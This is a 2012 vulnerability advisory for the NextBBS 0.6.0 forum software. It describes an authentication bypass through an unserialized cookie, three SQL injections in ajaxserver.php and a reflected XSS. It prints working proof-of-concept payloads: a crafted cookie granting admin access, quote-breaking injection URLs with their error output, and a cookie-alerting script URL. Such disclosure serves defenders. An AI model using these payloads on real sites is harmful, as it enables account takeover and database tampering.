NextBBS 0.6.0 Authentication Bypass / SQL Injection / XSS

`[waraxe-2012-SA#080] - Multiple Vulnerabilities in NextBBS 0.6.0  
===============================================================================  
  
Author: Janek Vind "waraxe"  
Date: 27. March 2012  
Location: Estonia, Tartu  
Web: http://www.waraxe.us/advisory-80.html  
  
  
Description of vulnerable software:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
nextBBS lets you create your own Community with unrivaled ease of use.  
Even though the software is highly performant, it doesn't lack any feature  
that makes big boards attractive. In fact, it offers the most "Web 2.0"  
experience currently available.   
  
http://sourceforge.net/projects/forums/  
  
Vulnerable versions  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Affected is NextBBS version 0.6.0, older versions may be vulnerable  
as well.  
  
###############################################################################  
1. Authentication Bypass in "user.php"  
###############################################################################  
  
Reason: using unsanitized user submitted data  
Attack vector: user submitted cookie  
Preconditions: none  
Result: attacker can impersonate any user, including admins  
  
Source code snippet from vulnerable script "user.php":  
-----------------[ source code start ]---------------------------------  
// Cookie?  
if(isset($_COOKIE[$CONFIG->sessions->name]) || isset($_SESSION[$CONFIG->sessions->name]))  
{  
..  
if(isset($_COOKIE[$CONFIG->sessions->name]))  
{  
$scookie = $_COOKIE[$CONFIG->sessions->name];  
..  
$cookie = unserialize(stripslashes($scookie));  
..  
$checkagainst = $this->generatePrivateKey($row['password']);  
if($checkagainst == $cookie['userkey'])  
{  
$_SESSION['ID'] = $uid;  
$this->setMember($_SESSION['ID']);  
-----------------[ source code end ]-----------------------------------  
  
As seen above, user submitted cookie will be unserialized and resulting  
data is used for authentication. No input data validation exists.  
Attacker can use specially crafted cookie, so that after unserializing  
variable "$cookie['userkey']" will be boolean "true".  
Comparing as "if($checkagainst == $cookie['userkey'])" is insecure and will  
always return "true", if "$cookie['userkey']" is boolean "true".  
This will allow complete authentication bypass.  
  
Test:  
  
Array after serialization:  
a:3:{s:3:"uid";s:4:"1219";s:7:"checker";s:1:"1";s:7:"userkey";b:1;}  
After urlencoding:  
a%3A3%3A%7Bs%3A3%3A%22uid%22%3Bs%3A4%3A%221219%22%3Bs%3A7%3A%22checker%22%3Bs%3A1%3A%221%22%3Bs%3A7%3A%22userkey%22%3Bb%3A1%3B%7D  
Cookie:  
nextBBS=a%3A3%3A%7Bs%3A3%3A%22uid%22%3Bs%3A4%3A%221219%22%3Bs%3A7%3A%22checker%22%3Bs%3A1%3A%221%22%3Bs%3A7%3A%22userkey%22%3Bb%3A1%3B%7D;  
  
  
Now we will use Firefox with "Tamper Data" extension for easy cookie manipulation.  
Let's open page in unauthenticated state and with crafted cookie:  
  
http://localhost/nextbbs.0.6.0/  
  
Result: "Welcome back, waraxe. (Log out?) (Admin CP)"  
  
We have admin level access now, as expected.  
  
###############################################################################  
2. SQL Injection in "ajaxserver.php" function "findUsers"  
###############################################################################  
  
Reason: using unsanitized user submitted data in SQL queries  
Attack vector: user submitted GET parameter "curstr"  
Preconditions: none  
Result: attacker can manipulate database queries  
  
Source code snippet from vulnerable script "ajaxserver.php":  
-----------------[ source code start ]---------------------------------  
function findUsers($method)  
{  
global $INPUT, $CONFIG, $DB;  
  
$filter = urldecode($INPUT['curstr']);  
$retstr = '';  
$qry = "SELECT userid FROM {$CONFIG->dbprfx}users   
WHERE server='{$CONFIG->server}' AND userid like '".$filter."%'";  
$res = $DB->query($qry);  
-----------------[ source code end ]-----------------------------------  
  
As seen above, user submitted GET parameter "curstr" is urldecoded and  
afterwards used in SQL query without proper sanitization. By using urlencoded  
single quotes it is possible to conduct SQL injection atttacks.   
  
Test:  
  
http://localhost/nextbbs.0.6.0/?do=ajaxserver&action=findusers&curstr=war%2527axe  
  
Result:  
  
SQL Layer Error: You have an error in your SQL syntax; check the manual  
that corresponds to your MySQL server version for the right syntax to use  
near 'axe%'' at line 1  
Query [SELECT userid FROM bb_users WHERE server='1' AND userid like 'war'axe%']  
  
  
###############################################################################  
3. SQL Injection in "ajaxserver.php" function "isIdAvailable"  
###############################################################################  
  
Reason: using unsanitized user submitted data in SQL queries  
Attack vector: user submitted GET parameter "id"  
Preconditions: none  
Result: attacker can manipulate database queries  
  
Source code snippet from vulnerable script "ajaxserver.php":  
-----------------[ source code start ]---------------------------------  
function isIdAvailable($method)  
{  
global $INPUT, $CONFIG, $DB;  
  
$filter = urldecode($INPUT['id']);  
$qry = "SELECT COUNT(*) as c FROM {$CONFIG->dbprfx}users  
WHERE server='{$CONFIG->server}' AND userid ='".$filter."'";  
$res = $DB->query($qry);  
-----------------[ source code end ]-----------------------------------  
  
As seen above, user submitted GET parameter "id" is urldecoded and  
afterwards used in SQL query without proper sanitization. By using urlencoded  
single quotes it is possible to conduct SQL injection atttacks.   
  
Test:  
  
http://localhost/nextbbs.0.6.0/?do=ajaxserver&action=isidavailable&id=war%2527axe  
  
Result:  
  
SQL Layer Error: You have an error in your SQL syntax; check the manual  
that corresponds to your MySQL server version for the right syntax to use  
near 'axe'' at line 1  
Query [SELECT COUNT(*) as c FROM bb_users WHERE server='1' AND userid ='war'axe']  
  
  
###############################################################################  
4. SQL Injection in "ajaxserver.php" function "getGreetings"  
###############################################################################  
  
Reason: using unsanitized user submitted data in SQL queries  
Attack vector: user submitted GET parameter "username"  
Preconditions: none  
Result: attacker can manipulate database queries  
  
Source code snippet from vulnerable script "ajaxserver.php":  
-----------------[ source code start ]---------------------------------  
function getGreetings($method)  
{  
global $INPUT, $CONFIG, $DB;  
  
$username = urldecode($INPUT['username']);  
$qry = "SELECT text FROM {$CONFIG->dbprfx}greetings g JOIN  
{$CONFIG->dbprfx}users u ON (g.dest_id=u.user_ID)  
WHERE g.server='{$CONFIG->server}' AND   
u.userid='{$username}' AND g.folder_id='1'";  
$res = $DB->query($qry);  
-----------------[ source code end ]-----------------------------------  
  
As seen above, user submitted GET parameter "username" is urldecoded and  
afterwards used in SQL query without proper sanitization. By using urlencoded  
single quotes it is possible to conduct SQL injection atttacks.   
  
Test:  
  
http://localhost/nextbbs.0.6.0/?do=ajaxserver&action=getgreetings&username=war%2527axe  
  
Result:  
  
SQL Layer Error: You have an error in your SQL syntax; check the manual  
that corresponds to your MySQL server version for the right syntax to use  
near 'axe' AND g.folder_id='1'' at line 1  
Query [SELECT text FROM bb_greetings g JOIN bb_users u ON (g.dest_id=u.user_ID)  
WHERE g.server='1' AND u.userid='war'axe' AND g.folder_id='1']  
  
  
###############################################################################  
5. Reflected XSS in anti-hack measures  
###############################################################################  
  
Reason: using unsanitized user submitted data in outputted html  
Attack vector: user submitted URI  
Remarks: XSS payload max length is limited  
  
Test:  
  
http://localhost/nextbbs.0.6.0/index.php?do=<body+onload=alert(document.cookie);>  
  
Response page shows warning:  
  
"Note: A hack attempt was detected.  
It is being logged and reported to the admin along with your IP address:"  
  
At the same time XSS payload execution can be observed.  
  
  
Contact:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
[email protected]  
Janek Vind "waraxe"  
  
Waraxe forum: http://www.waraxe.us/forums.html  
Personal homepage: http://www.janekvind.com/  
Random project: http://albumnow.com/  
---------------------------------- [ EOF ] ------------------------------------  
`